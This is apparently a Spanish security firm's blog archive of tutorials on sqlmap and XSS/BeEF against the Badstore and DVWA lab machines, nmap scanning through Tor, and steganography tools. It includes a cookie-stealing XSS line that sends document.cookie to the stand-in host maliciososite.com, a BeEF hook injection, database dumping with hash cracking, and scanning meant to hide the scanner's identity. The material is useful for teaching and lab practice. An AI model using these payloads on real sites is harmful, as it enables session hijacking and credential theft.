Category Archives: Manuales

  • 0

Conociendo SQLMap con Badstore

Figura 1: Logo de SqlMap

Figura 1: Logo de SqlMap

¿Que es sqlmap?

Sqlmap es una herramienta opensource de pentesting que se centra en explotar vulnerabilidades del tipo SQL injection en servidores de base de datos. Es una eficaz herramienta para auditar bases de datos si no estamos muy preocupados por la cantidad de registros, trazas o logs que podamos dejar en el servidor a auditar.

Un poco de historia…

Las andanzas de esta aplicación comenzaron en julio de 2006, cuando Danielle Bellucci dió de alta el proyecto en SourceForge contando con un soporte limitado para MySQL. En Septiembre de ese mismo año tomó las riendas del proyecto Bernardo Damele y a principios del año 2007 ya incorporaba funciones para auditar Microsoft SQL-Server. A finales de ese mismo año incluyeron funciones para Oracle y así continuaron añadiendo funcionalidades, hasta que, en la actualidad, se ha convertido en la mejor navaja suiza para auditar bases de datos, capaz de obtener datos de bases de datos, shells, lectura de ficheros del sistema y un gran etcétera.

Un poco mas sobre la herramienta…

SQLmap está escrito en python, un lenguaje orientado a objetos interpretado, su nombre viene de los humoristas británicos “Monty Python”, podremos ejecutarlo teniendo instalado el intérprete de python en nuestra máquina. Todo muy facilito 😉

Para ejecutarlo abriremos un terminal y nos posicionaremos en la carpeta donde está instalado sqlmap, podemos buscar donde está con el siguiente comando:

find / -name sqlmap.py

Con ese comando nos indicara la carpeta donde se encuentra el sqlmap. Nos posicionaremos en dicha carpeta y procederemos  a ejecutar sqlmap para que nos muestre la ayuda:

python ./sqlmap.py -h

Con esto podemos hacernos una idea de la cantidad de funciones que incorpora actualmente, si necesitamos más información podemos ejecutar sqlmap con el modificador -hh y nos mostrará una ayuda más extensa.

Cada vez que vayamos a usar SQLmap es bueno ejecutar su actualización con el comando, con esto actualizaremos la herramienta con las nuevas funcionalidades:

python ./sqlmap.py --update

¿Probamos el sqlmap?

Para no tener ninguna clase de problema legal a la hora de realizar pruebas con esta aplicación usaremos Badstore, una máquina virtual que ocupa 10Mb y que contiene un servidor web con fallos de SQL inyection entre otros. Creamos nuestra máquina virtual y cargamos la imagen .iso de badstore.

Os recordamos que NO se puede hacer este tipos de pruebas, ataques o como lo queramos llamar en servidores de los que no tenemos autorización.

Cuando haya terminado la carga presionaremos enter para acceder a la consola, y miraremos qué ip nos ha asignado el DHCP con el comando “ifconfig”.

Una vez hecho todo esto volvemos a nuestra shell e introducimos el siguiente comando:

python sqlmap.py --hex --forms -u http://192.168.XXX.XXX/cgi-bin/badstore.cgi -b

Los modificadores usados son los siguientes:

–hex Transforma la inyección a valores hexadecimales.
–forms Escanea los formularios de la url que le hemos pasado.
-u Indicamos la URL que queremos escanear
-b Le indicamos que nos devuelva el banner de la base de datos.

Hay otros modificadores que nos pueden ser de interés, como por ejemplo:

–current-user Nos devuelve el usuario actual que está usando la base de datos.
–current-db Nos devuelve la base de datos actual que esta usando el usuario de la web.
–batch Con este comando se introduce la respuesta por defecto cada vez que el programa pregunte.
–random-agent Sirve para tener la cabecera de un navegador distinto cada vez que ejecutemos el comando.
–mobile Con este modificador pordemos imitar la cabecera de un navegador de un teléfono móvil.

Al ejecutar este comando sqlmap nos irá pidiendo la información que necesite:

sqlmap-badst-testformquestion

En este caso nos pregunta si queremos comprobar el formulario que hay en la página k hemos incluido con el modificador -u (–url). La opción marcada en mayúsculas es la opción por defecto, así que en este caso solo debemos darle a la tecla enter directamente.

mayitvulnerable

Vemos que nos va imprimiendo por pantalla las posibles vulnerabilidades que va encontrando. Mas adelante cuando constata la vulnerabilidad nos muestra por pantalla el payload o firma para esa vulnerabilidad y nos pregunta si deseamos explotar esa vulnerabilidad.
payloadbadstore

Una vez explotada pasa a mostrarnos lo que le hemos indicado con el modificador -b (–banner)

banner-badstore-sqlmap

Un paso importante es saber el nombre de la base de datos a la que vamos a atacar, para ello ejecutamos el comando con el modificador –current-db, el cual nos devolverá el nombre de la base de datos actual.

python sqlmap.py --hex --forms -u http://192.168.xxx.xxx/cgi-bin/badstore.cgi --current-db

current-db-badstore-sqlmap

Llegados a este punto, debido a la versión de la base de datos de Badstore no podemos consultar ninguna lista con el nombre de tablas ya que carece de information_schema y los modificadoes –tables y –columns no nos servirán de mucho. Por tanto tendremos que intentar una inyección “a ciegas” esto es, sin saber nada acerca de los nombres de las tablas, para facilitar la etapa de descubrimiento SQL-Map incorpora diccionarios que agilizan dicha tarea.

Primero intentamos con el siguiente comando:

python sqlmap.py --hex --forms -u http://192.168.xxx.xxx/cgi-bin/badstore.cgi -D badstoredb --tables

En este caso, al no poder extraer las tablas, nos pregunta si deseamos usar los nombres de tablas más frecuentes, los cuales están en el directorio de instalación de sqlmap, concretamente en el directorio txt.

noinformationschema

Nos pedirá el numero de hilos o numero de pruebas simultaneas que queremos utilizar y seguidamente se dispondrá a comprobar los nombres de las tablas.

numberthreads-triedtables

Una vez la tengamos, dumpeamos la tabla userdb, en ella estarán los usuarios de badstore, en este caso, sqlmap detecta que hay hashes en MD5 en la tabla que estamos dumpeando y nos pregunta si queremos pasarle un diccionario por si alguna de las passwords figuran en el. Para ello utilizamos el siguiente comando:

python sqlmap.py --hex --forms -u http://192.168.1.108/cgi-bin/badstore.cgi -D badstoredb -T userdb --dump

crackedpasswds

En el caso de badstore encuentra la mayoría, lo que nos brinda un acceso como administrador en este sparring virtual. Lo importante es hacernos una idea de el uso de esta herramienta, de lo que se puede hacer en una auditoria o lo que pueden hacer los “malos”. La idea al final de la explotación de una inyección SQL es acceder a la Base de Datos del sistema y robar los datos que se guardan. Estos datos pueden ser desde información de la propia empresa como listas de direcciones, nombres, emails, teléfonos, etc.

Nuestro grupo de Auditorias Informáticas están muy al tanto de cualquier nueva herramienta que pueda servir para realizar estas auditorias, así como de los diferentes métodos que existen para evitar sufrir un ataque de estas características.

Un saludo!


  • 0

Publicada la OWASP Testing Guide v4

Introducción

El pasado 17 de Septiembre se presento oficialmente la versión 4 de la Guía de Testing de Owasp. La verdad es que la noticia paso sin pena ni gloria por los diferentes blogs y paginas dedicadas a la seguridad. Creemos que es una noticia muy importante y no se ha dado la transcendencia que merece. El Owasp Testing Guide es un libro imprescindible que debe estar en todo auditor de seguridad o persona que quiera conocer mas sobre el tema tan apasionante de la seguridad informática.

Figura 1: Portada de la Guía OWASP de Testing.

Figura 1: Portada de la Guía OWASP de Testing.

En principio y hasta que este traducida la podremos de leer en dos formatos en pdf (https://www.owasp.org/images/5/52/OWASP_Testing_Guide_v4.pdf) o accesible en a través del web (https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents).

¿Que es la versión 4 de la Testing Guide de OWASP?

La Testing Guide es una guía, como su nombre indica de, una serie de pruebas que se pueden hacer a sistema y aplicativos para comprobar su seguridad. Dicho así suena como a “chino”, pero vamos a intentar ver como funciona mirando un capitulo de dicha guía como ejemplo.

La idea de cada capitulo es definir una prueba o un problema. Se explica el mismo, que es, que se intenta conseguir, etc. A continuación se definen una serie de pruebas con código y respuestas para ver como se puede evaluar si el sistema o aplicativo es vulnerable a ese problema. Y para terminar se recomiendan una serie de herramientas que automatizan en la medida de lo posible estas pruebas.

Ejemplo de prueba de la guía “Test HTTP Methods (OTG-CONFIG-006)”

El estudio de cada uno de los problemas o pruebas que debemos hacer en los sistemas o aplicativos se dividen en una serie de partes que nos indicaran que es y como se puede comprobar si el sistema es vulnerable.

Summary

Primera parte del estudio de la vulnerabilidad. En la versión Inglesa recibe el nombre de “Summary”. En esta parte explican de una manera clara cuales son las puntos importantes de estas caraceteristicas de los sistemas o aplicativos. A modo de ejemplo, podemos ver en esta captura la explicación de los métodos HTTP (HEAD, GET, POST,PUT,DELETE,TRACE,OPTIONS,CONNECT) lo que son y para que se utilizan.

Figura 2: Summary, donde se explican las características de la vulnerabilidad.

Figura 2: Summary, donde se explican las características de la vulnerabilidad.

 

How to Test

A continuación viene la parte llamada “How to Test”. Como su nombre indica hace referencia a como se deben de realizar los test para comprobar si el sistema o aplicativo es vulnerable a este problema. En las pruebas se intenta usar comandos o por lo menos hacerlo de una manera muy simple.

Figura 3: How to Test, donde se explican como realizar los test para comprobar la vulnerabilidad.

Figura 3: How to Test, donde se explican como realizar los test para comprobar la vulnerabilidad.

Tools

En esta parte se hace referencia a las herramientas que podemos usar para realizar las pruebas que se han explicado anteriormente pero de una manera mucho mas automática.

Figura 4: Tools, listado de herramientas que podemos usar para realizar las pruebas.

Figura 4: Tools, listado de herramientas que podemos usar para realizar las pruebas.

References

Por ultimo la parte de “referencias”, un listado de enlaces donde podemos leer mas sobre este tipo de ataques, contra-medidas, etc.

 

Figura 5: References, listado de enlaces para conseguir mas información.

Figura 5: References, listado de enlaces para conseguir mas información.

Conclusión

Aunque hemos tenido que esperar un tiempo desde la versión 3 de esta guía, esta versión 4, seguirá siendo un libro imprescindible para realizar las auditorias de seguridad de las personas que nos dedicamos a esto de la seguridad.

Les recordamos los enlaces a los dos formatos disponibles hasta el momento en pdf (https://www.owasp.org/images/5/52/OWASP_Testing_Guide_v4.pdf) o accesible en a través del web (https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents).

Un saludo


  • 0

Introducción a XSS y BeEF

The Browser Explotation Framework Project

 

 

Introducción a XSS

Técnicamente, una inyección de código XSS se produce cuando un atacante envía código malicioso a través de un formulario de una página web y esta web responde mostrando información que no debe porque el servidor ha interpretado esa entrada como un script y lo ha ejecutado, cosa que no debería pasar. Sin embargo el XSS Cross-site Scripting es una de las principales amenazas y más extendidas dentro de la web. Permitiendo una variedad de ataques que se han ido perfeccionando con el tiempo y han dado lugar a que aparezcan herramientas como beef, completos frameworks que mal utilizados puedes ser usados para fines antitéticos fraude, robo de información, etc.

 

Peligros, ¿Que podría un atacante conseguir inyectando código malicioso en una página web?:

  • Control sobre el navegador de la víctima
  • Reversering
  • Robo información
  • Robo de contraseñas
  • Robo de cookies de sesión
  • Defacement
  • Utilizar el navegador de una víctima como proxy web
  • DNS Tunneling
  • Inutilización de la web
  • Descubrimiento de red
  • Redirecciones o reenvío de mails
  • Etc…

La mayoría de las webs contienen formularios, ya sean formularios de login, o simples formularios de contacto, o firma. Estos formularios son procesados por el navegador como el resto de la página, por lo tanto estos formularios son susceptibles de recibir una información que luego mostrará interpretándose por el servidor web, para luego mostrarse en la página.

Tipos de Inyecciones XSS

Existen tres tipos de inyecciones XSS:

Tipo Indirecto o Reflejado

Cualquier formulario que permita la inyección de código que luego será interpretado por el servidor, en muchos casos mostrando incómodos mensajes y/o mostrando información que no se debería mostrar, el resultado de la inyección se ve “reflejado” directamente en el navegador.

Persistente

Se da en casos, donde hay un formulario que mostrará la información enviada a través de él cada vez que se cargue la página. Son las más peligrosas, puesto que persisten, en la página. Son típicos formularios de foros y firmas que luego verán los demás usuarios.

DOM Based XSS

Es cuando el la infección se realiza modificando la configuración del navegador de la víctima a través de el script inyectado. Document Objet Module, es una api que usan los navegadores web para presentar y/o modificar la información de documentos XML y HTML y este tipo de infección utiliza esta api para infectar el navegador.

Un ejemplo de los peligros de robo de la cookie de sesión, imaginemos este código inyectado dentro de las etiquetas <script>/script>

href=# onclick="document.location='http://maliciososite.com/xss.php?c='+escape(document.cookie);">Hello!!!

Esto podría hacer que un usuario pulsase inconscientemente en este link, que envía la cookie generada a un sitio web deseado por el atacante permitiéndole suplantar la sesión. Como se ve maliciososite.com/xss.php?c= recibiría por método $POST “c” la cookie del usuario que pulsase ese enlace. Normalmente estos sitios web, han sido “secuestrados” por ciberdelincuentes que están recolectado datos de incautos usuarios, incluso guardándolos en la base de datos de la propia web.

BeEF The Browser Explotation Framework

beefproject.com es una herramienta que nos permite automatizar este proceso de inyección, permitiendo utilizar un framework para interactuar con el navegador infectado. BeEF hace uso de un script llamado “Hook.js” que actúa como nexo de unión entre el atacante y el navegador de la víctima ejecutando las instrucciones mediante javascript.

La instalación de beef es muy fácil, solo hay que instalarlo desde GitHub y ejecutarlo:

git clone https://github.com/beefproject/beef
cd beef
install bundle
./beef

Una vez esta instalado podemos empezar a utilizar el framework. Por defecto escucha en el puerto 3000, así que abrimos el navegador http://localhost:3000/ui/panel e introducimos como usuario “beef” y contraseña “beef”.
Una vez tenemos el programa beef corriendo, tenemos que inyectar código en alguna web y que sea persistente el xss para que cuando alguien cargue dicha página reciba la carga en su navegador.

Beef mostrará las interfaces en las que esta corriendo y las urls del panel y de hook.js:

[22:48:55][+] running on network interface: 127.0.0.1
[22:48:55]    |   Hook URL: http://127.0.0.1:3000/hook.js
[22:48:55]    |_  UI URL:   http://127.0.0.1:3000/ui/panel
[22:48:55][+] running on network interface: 192.168.1.117
[22:48:55]    |   Hook URL: http://192.168.1.117:3000/hook.js
[22:48:55]    |_  UI URL:   http://192.168.1.117:3000/ui/panel
[22:48:55][+] running on network interface: 25.0.3.5
[22:48:55]    |   Hook URL: http://5.0.3.5:3000/hook.js
[22:48:55]    |_  UI URL:   http://5.0.3.5:3000/ui/panel
[22:48:55][+] running on network interface: 10.0.0.14
[22:48:55]    |   Hook URL: http://10.0.0.14:3000/hook.js
[22:48:55]    |_  UI URL:   http://10.0.0.14:3000/ui/panel

De esta forma el usuario que visite la web con la inyección “TeamSec<script src=”http://192.168.1.117:3000/hook.js”>” quedará automáticamente infectado si no posee protección alguna.

Prueba concepto contra DVWA, ver post Dam Vulnerable apps

Reflected XSS

xss1xxs

Ahora vamos a probar contra el xss stored o persistente

He tenido que acortar la inyección ya que dvwa no permite introducir más de 50 caracteres en el formulario, así que http://192.168.1.117:3000/hook.js no cabía, lo he resuelto gracias al acortador de urls bitly
De esta forma cada vez que alguien cargue la página abrirá una conexión contra beef, además no se habrá dado cuenta, aparece el mensaje TeamSec y el script se carga en el navegador, no se detectará un comportamiento anómalo si no se dispone de protecciones.

xxs3beef

 

 

 

 

 

 

 

 

 

Beef tiene funcionalidades tan maliciosas como poder encender la webcam del ordenador infectado. Ofrece al usuario infectado la posibilidad de activar su web cam vía web, si este cae en la trampa, su webcam se activará mostrando al atacante la imagen de la víctima o de los objetos que rodean al ordenador.

Ejemplo de falso timeout session prefabricado para Facebook

Beef es una aplicación de pentesting que salta las barreras de seguridad en mayor medida con ayuda del propio usuario. Tenga en cuenta que la mayoría de usuarios desconocen los entresijos de la programación web y el funcionamiento propio de internet, es por esto que beef ofrece una serie de módulos que nos facilitarán la tarea, de la ingeniería social.

Módulos de beef especialmente maliciosos para hacer ingeniería social ¿No tiene las credenciales?. Pregúntaselas al usuario:

  • The Pretty Theft Este módulo muestra un mensaje explicando que la sesion del usuario ha expirado y debe introducir de nuevo su login y password.
  • The Simple Hijacker Este modulo trae un montón de plantillas para distintas ingenierías sociales, que se mostrarán cuando el usuario haga click en un enlace
  • Clippy Crea un pequeño asistente para “actualizar” el navegador

Muchos usuarios pican en estas trampas, cediendo todo tipo de credenciales, datos privados y claves de sus cuentas con las principales redes sociales.

Cualquier web que haya sido inyectada pasa de ser un sitio inofensivo a uno atacante, pudiendo crear muchas molestias a los usuarios, que aunque no hayan visto afectados sus navegadores, es posible que sí puedan ver mensajes emergentes, alertas, etc.

Como prevenir los XSS injection

Del lado del cliente, existen distintos métodos. Es buena idea usar proxys que filtre información o filtros web como NoScript, que se instalan en el navegador.

Del lado del servidor, como siempre los fallos en su mayoría provienen de errores de programación, es buena idea usar frameworks para el testeo a nivel de código antes de poner software en fase de producción. La falta de firewalls y filtros para xss facilitarían la tarea de la búsqueda de fallos por parte de los atacantes y que además no se impida la redirección a sitios maliciosos.
Aconsejamos tener como referencia la guía de OWASP para prevención de XSS. OWASP_Prevention_Cheat_Sheet

La política del mismo origen previene que un documento o script cargado en un “origen” pueda cargarse o modificar propiedades del documento desde un “origen” diferente. Se trata de uno de los conceptos de seguridad más importantes de los navegadores modernos y que se debería seguir implementándose de la misma forma cuando se desarrolla aplicaciones web.

Hasta aquí se muestra un poco, lo que puede hacer, con esta herramienta, instalada y configurada. Imagine por un momento que esa web es la suya o la de su organización. En su web el delincuente ha entrado y le ha dejado de “regalo” una instalación totalmente funcional del Beef. No ha modificado nada o por lo menos no es consciente de esa modificación pero lo suficiente para que sus clientes no se den cuenta que están siendo infectados cuando acceden a su pagina.

En TeamSec estaremos encantado de asesorarles sobre como prevenir este tipo de ataques e eliminarlos por completo dado que disponemos profesionales especializados y altamente experimentados.


  • 0

  • 0

Escaneando con NMAP a través de TOR con proxychains

nmaptor
NMAP es la herramienta más famosa para el escaneo de redes, con ella podremos escanear host, puertos, servicios, descubrir el sistema operativo de la víctima, información relacionada con el hardware, etcétera. NMAP se puede usar desde los dos lados del hacking, bien para descubrir qué servicios tenemos abiertos y poder detectar malware o backdoors, o bien para obtener información de interés a la hora de planificar un ataque. NMAP a su vez viene provisto de scripts para poder comprobar servicios concretos. A la hora de querer enmascarar nuestra identidad tenemos que hacerlo a través de un proxy o la red Tor, si no, a la víctima le llegarán directamente a sus logs nuestra dirección IP. A la hora de encaminar hacia la red tor tenemos disponibles algunas aplicaciones como torsocks o tsocks para dirigir el tráfico a la red Tor. Primero, vamos a instalarnos el servicio tor, si estamos en una distribución GNU/Linux podremos instalarlo directamente desde los repositorios:

# apt-get install tor && apt-get install tor-arm

En caso de no tenerlo en repositorios, debemos descargar el código fuente de aquí, compilarlo e instalarlo. Una vez se haya instalado correctamente, comprobamos si está iniciado con el siguiente comando:

# service tor status

De no estar corriendo, lo arrancamos con:

# service tor start

Los usuarios de Windows pueden realizar esta práctica usando el “Tor browser bundle“, a fin de cuentas, el objetivo es tener el servicio tor instalado para enviar la información a través de él. Una vez tenemos el servicio listo y funcionando, tenemos que usar una aplicación para dirigir el tráfico de la aplicación que queramos a nuestro proxy TOR.
Proxychains es un software destinado a establecer conexiones a través de proxy, en este caso nos proponemos pasar el tráfico por nuestro proxy para enrutar el tráfico al servicio TOR pero se puede enviar la información a proxys HTTP, SOCKS4 o SOCKS5, si no queremos usar tor pero en cambio si queremos conectarnos desde un proxy o lista de proxys podemos buscar en hidemyass para obetener proxys a los que conectarnos. Los usuarios de GNU/Linux podemos instalarlo simplemente con el siguiente comando:

sudo apt-get install proxychains

Los usuarios de Microsoft Windows tendrán que usar otro software que cumpla esta función como sockschains  , en este caso sockschains es software privativo, y como no, de pago, aunque te regalan un tiempo de prueba.
Proxychains usa un fichero donde almacena su configuración, ahí podremos indicarle a qué proxy o cadena de proxys queremos usar para la conexión. Para poder editar el fichero ejecutamos:

# nano /etc/proxychains.conf

Ahora incluimos al final la siguiente línea:

proxylist

Con ello indicamos que el proxy Tor está en nuestra máquina (localhost) en el puerto 9050. Podemos indicarle también otro proxy o una lista de proxys para establecer una cadena. Tenemos más opciones para configurar en este fichero:

  • strict_chain Con esto indicamos que nos coja todos los proxy de la lista, debemos mirar en qué orden queremos que se conecte a los proxys a la hora de escribir la lista, podemos alternarlo con random_chain.
  • random_chain Aquí indicamos que nos hará una cadena aleatoria con el listado de proxys que le definimos más abajo.
  • chain_len = 2 Con esto indicamos la longitud de la cadena aleatoria, debemos tener activado random_chain.
  • proxy_dns  Con esto dirigimos el tráfico dns generado por la aplicación hacia el proxy.

Ahora que lo tenemos configurado podemos ejecutar proxychains e indicarle que ejecute el escáner de puertos:

# proxychains nmap -v -sT <HOST>

nmap_por_tor_sockschains
Ahora nos va mostrando la información a la vez proxychains y nmap: Proxychains nos indica que se ha establecido la conexión tcp a través de TOR y NMAP nos va mostrando su avance. Mientras realiza el escaneo podemos ejecutar tor arm y comprobar que el tráfico se está enviando a través de nuestro proxy en TOR.

tor_arm

Debemos tener en cuenta que la red TOR y proxychains sólo acepta tráfico TCP, así que no podremos realizar los escaneos de tráfico UDP (-sU). En resumidas cuentas es un proceso que requiere poca configuración y que nos permite (a pesar de la lentitud) poder dirigir las conexiones de las aplicaciones que queramos a la red tor dificultando así la detección de quién realiza el escaneo. Si pretendemos redirigir el tráfico http de una aplicación, joomscan por ejemplo, necesitamos un proxy http que redirija el tráfico, por tanto debemos instalar privoxy, configurarlo para que utilize la red tor, sustituir la dirección en el fichero /etc/proxychains.conf por la de nuestro privoxy y lanzar el comando.

Un saludo!


  • 0

Badstore: Seguridad sin meterse en líos

Casi siempre que alguien empieza a comprobar la seguridad en aplicaciones web, comienza con un navegador colando una comilla (‘) en alguna variable para comprobar si salta algún error, no es una práctica muy ética ir inyectando a diestro y siniestro y menos si lo que buscamos es formarnos sobre cómo funcionan los ataques a páginas web. Para ello necesitamos tener nuestro entorno de pruebas en una red local donde podamos hacer todas las perrerías sin tener k preocuparnos por la ley.

badstoreLogo1

Badstore es una imagen ISO de unos 12Mb, incluye una distribución live de Trinux que arranca un servidor web con una página que imita a una tienda, pero con un montón de vulnerabilidades. Para ejecutarla sólo necesitamos una máquina virtual con 64Mb de RAM. Para ello creamos una máquina virtual con cualquier software de virtualización como VM-Ware o VirtualBox. Antes de arrancar la máquina nos aseguramos que la interfaz de red está en modo puente (Máquina>>Configuración>>Red).

Captura de pantalla de 2014-02-24 18:40:59

Una vez hecho esto iniciamos la máquina virtual, Cuando arranquemos estará un rato cargando y nos pedirá que presionemos “enter” para acceder a la consola. Una vez dentro, podemos teclear “help | more” para encontrar un listado de todos los comandos disponibles.

Captura de pantalla de 2014-01-07 10:20:14

Si tenemos un servidor DHCP en la red sólo tendremos que teclear “ifconfig” para averiguar qué dirección ip nos ha asignado. En cambio, si no nos asigna la direccion IP automáticamente, podremos asignarla nosotros con este comando:

ifconfig -a 192.168.x.x

Algunas de las vulnerabilidades que vas a encontrar son:

  • SQLi (SQL Injection)
  • XSS (Cross Site Scripting)
  • Modificación de cookies
  • Denegación de servicio

Poniéndonos a investigar un poco NMap nos devuelve esta lista de puertos disponibles en nuestra máquina virtual.

Not shown: 997 closed ports
PORT     STATE SERVICE  VERSION
80/tcp   open  http     Apache httpd 1.3.28 ((Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c)
| robots.txt: has 5 disallowed entries 
|_/cgi-bin /scanbot /backup /supplier /upload
|_html-title: Welcome to BadStore.net v1.2.3s
443/tcp  open  ssl/http Apache httpd 1.3.28 ((Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c)
|_html-title: Welcome to BadStore.net v1.2.3s
| robots.txt: has 5 disallowed entries 
|_/cgi-bin /scanbot /backup /supplier /upload
|_sslv2: server still supports SSLv2
3306/tcp open  mysql    MySQL 4.1.7-standard
| mysql-info: Protocol: 10
| Version: 4.1.7-standard
| Thread ID: 5
| Some Capabilities: Connect with DB, Compress, Secure Connection

En el reporte podemos comprobar como aparte de los dos puertos web disponibles (80 y 445 para SSL) tenemos el puerto 3306 abierto con MySQL. La primera vulnerabilidad que vemos llega al probar a entrar en el mysql con el usuario administrador (en este caso no tiene password), así por tanto si ejecutamos el comando:

mysql -u root -h 192.168.1.X

una vez dentro podremos ejecutar “SHOW databases;” y seguidamente conectarnos a la base de datos con “CONNECT badstoredb;”

Captura de pantalla de 2014-02-24 18:17:21

Una vez conectados podemos investigar un poco y ver de qué forma está implementada la seguridad de las contraseñas de los usuarios. En este caso vemos que las contraseñas están cifradas en md5 (un campo de pruebas perfecto para probar software como John the ripper o Hashcat) y en algún caso el campo de password está en NULL.

Captura de pantalla de 2014-02-24 18:19:39

Ahora podemos introducir en nuestro navegador del ordenador anfitrión http://ip-del-server y accederemos a nuestro entorno de pruebas para poder realizar cualquier fechoría sin tener que preocuparnos si nos saltamos la ley o no. Una vez accedemos a través del navegador nos encontramos en la página principal.

Captura de pantalla de 2014-02-24 18:45:16

La primera vulnerabilidad que vamos a explotar se encuentra detrás del vínculo “Sigin in our guestbook”, se nos abre un libro de visitas en el cuál podemos realizar ataques XSS de tipo persistente. XSS es un acrónimo de Cross Site Scripting (solo que en vez de C pusieron X para que no se confundiera con CSS),  coexisten dos tipos de ataques XSS, directo e indirecto, el objetivo de los ataques es ejecutar codigo javascript o similar (jquery, ajax…) en el navegador del cliente, con el objetivo de extraer la información de la sesión guardada en el navegador para poder acceder al recurso que sea remotamente. En este caso, podemos escribir código javascript en el formulario, de tal forma que todo usuario que acceda a esa página ejecutará el código que hemos introducido.

En el siguiente post de badstore seguiremos dándole caña, un saludo!!

 

 


  • 0

Esteganografía: Descubriendo archivos ocultos con xsteg.

Lo complicado en la esteganografía es detectar si el archivo que hemos recibido tiene o no un archivo oculto. El método tradicional es abrir el fichero con un editor hexadecimal como Hex Editor y analizar el fichero con detenimiento, pero si queremos algo más sencillo necesitamos un software que nos automatice un poco el proceso, por ejemplo, tenemos en la distribución C.A.IN.E el programa xsteg, un interfaz gráfico simple de la aplicación stegdetect que nos permite analizar el fichero .jpg aplicándole tests y distintos grados de sensibilidad al escaneo.

Para utilizarlo simplemente lo abrimos desde el menú inicio de C.A.IN.E y nos vamos al submenú de forensic tools, en éste menú disponemos de un amplio catálogo de herramientas de informática forense.

forensic_tools_caine

En este caso he hecho la prueba con la imagen que usé en el anterior post de steghide, en la cual escondimos un pequeño documento con extensión .txt
En los dos primeros escaneos el programa me devolvió que no tenía ningún fichero oculto, ¿Cómo que no?. En el siguiente test aumentamos la sensibilidad de 1.60 a 5.60 y en este caso sí nos dio positivo en la prueba de jphide.

captura_xsteg

Cuando ya sabemos qué puede contener sólo nos queda abrirnos una consola y ejecutar steghide para sacar datos más concretos, en el caso que el fichero oculto no estuviese cifrado. Si tuviese una password, todavía podemos intentar averigurarla con stegbreak, un software que también está incluido en la distribución C.A.IN.E con el que podremos pasarle un diccionario para hallar la contraseña por fuerza bruta.
Si queremos profundizar un poco más en los escaneos a ficheros .jpeg debemos revisar el manual de stegdetect, donde podremos encontrar los distintos tipos de test que le podemos pasar a nuestra imagen.

stegdetect_manual_tests

Hay proyectos españoles de estegoanálisis como StegSecret, el cual engloba características tan interesantes como poder analizar BMP y GIF además de jpeg, la implementación de algoritmos que detectan información ocultada con técnicas LSB en píxeles elegidos de forma secuencial y/o pseudoaletoria (chi-square, rs-attack, etc), ocultación en coeficientes DCTs en JPEG, en paleta de ficheros GIF, ocultación en ADS, ocultación en fragmentación interna, ocultación en lenguajes interpretados (HTML, XML, etc). Podemos echar un vistazo a su página web .


  • 0

Esteganografía: Ocultar ficheros con steghide.

Podemos ocultar ficheros dentro de otros ficheros “portada” de mil formas distintas. Para este post usaremos una distribucion GNU/Linux llama C.A.I.N.E, contiene una suite bastante completa de aplicaciones destinadas al campo de Informática Forense. Dentro de esta distribución podremos encontrar integrado el steghide.

Imagen_caine

Steghide  es un programa de estenografía que permite ocultar datos en varios tipos de imagen y archivos de  audio. Sus características incluyen el compactado y el encriptado de los datos adjuntos, y revisión automática de integridad usando  un  checksum. Se reconocen los formatos de archivo JPEG, BMP, WAV y AU para usar como archivos de portada. No existen  restricciones en el formato de los datos ocultos.

Cuando nos referimos a usar archivos de portada, queremos decir que de por sí el archivo contenedor de nuestro archivo secreto se va a poder abrir y mostrar un contenido además de almacenar nuestro archivo dentro. En cuanto al número de archivos de portada nos permiten sólo JPEG, BMP, WAV y AU, dependiendo del tamaño del archivo que queramos esconder, elegiremos uno u otro.
Sobre esconder los archivos sin que el archivo “stego” tenga portada, steghide puede con cualquier formato de archivo.

Ejemplos de steghide:

Ejemplo de comando para extraer.
$ steghide extract -sf imagen.jpg

Este comando incluye dentro de pepito.jpg el fichero secreto.txt
$ steghide embed -cf pepito.jpg -ef secret.txt

Ahora necesitamos imagenes en jpg, o algún archivo donde ocultar algo, para ello ejecutamos el siguiente comando:
find / -name *.jpg
o también nos vamos directamente al directorio de background:
/usr/share/backgrounds/

Ocultamos un fichero.txt dentro de una imagen jpg con el siguiente comando:

steghide -cf  <nombre_archivo_cobertura> -ef <nombre_archivo_a_ocultar>

Cuando lo ejecutemos nos pedirá introducir un password (salvoconducto):

Ocultando_con_steghide

Para saber la información del archivo ejecutamos el siguiente comando:

$ steghide info archivo.jpg

Si introducimos una contraseña incorrecta no nos devolverá ninguna información del archivo oculto. Ahora vamos a ver qué información nos brinda steghide sobre el fichero que acabamos de crear, para ello usamos el siguiente comando:

steghide info <nombre_archivo.bla>

Y nos da la siguiente información:

Steghide_info_jpg

En resumidas cuentas, con este software podemos enviar información a salvo, para añadirle un grado más de seguridad se recomienda cifrar el contenido del fichero embebido, así si por alguna remota casualidad lo descubre el enemigo, todavía tendrán que desencriptarlo.

Un Saludo!


  • 0

Esteganografía: Ocultación de ficheros en documentos de Microsoft Office

La esteganografía trata del estudio y aplicación de técnicas que permitan ocultar mensajes dentro de otros mensajes llamados “portadores”, de modo que si un enemigo intercepta el mensaje portador no detectará el mensaje oculto que figura dentro de éste. La palabra esteganografía viene del griego steganos (oculto) y graphos (escritura). A lo largo de la historia se han visto distintos tipos de implementación de la esteganografía, en la antigua Grecia tatuaban en la cabeza afeitada de los mensajeros algunos mensajes cortos e importantes, y esperaban a que el pelo creciera para enviarlos.
Otro caso histórico fue el de la población de china al rebelarse contra el poder de Mongolia. En este caso la población recibió el mensaje en unos pasteles típicos, los moon cakes, y así pudieron iniciar la revuelta que daría paso a la dinastía Ming.

En los primeros tiempos de la imprenta, era común para mezclar diferentes tipos de letra en una página impresa por la impresora no tener suficientes copias de algunas cartas de otro tipo. Debido a esto, un mensaje podría estar oculto utilizando 2 tipos de letra diferentes, como normal o cursiva.

Otro caso algo más cercano fue el de Jeremías Denton el cual parpadeó varias veces en código morse durante la conferencia de prensa televisada en 1966, la cual se vio obligado a hacer por sus captores norvietnamitas, el contenido del mensaje era la palabra “tortura”. Esto confirmó por primera vez que los militares estadounidenses (prisioneros de guerra) estaban siendo torturados en Vietnam del Norte.
En cualquier caso, el tiempo avanza y el concepto de esteganografía se acopla a la tecnología.
Actualmente la esteganografía es utilizada por algunas impresoras, como las impresoras láser en color de la marca Xerox las cuales imprimen una serie de puntos amarillos minúsculos que se añaden a cada página. Los puntos son apenas visibles y contienen números de serie de la impresora codificados, así como la fecha y la hora.
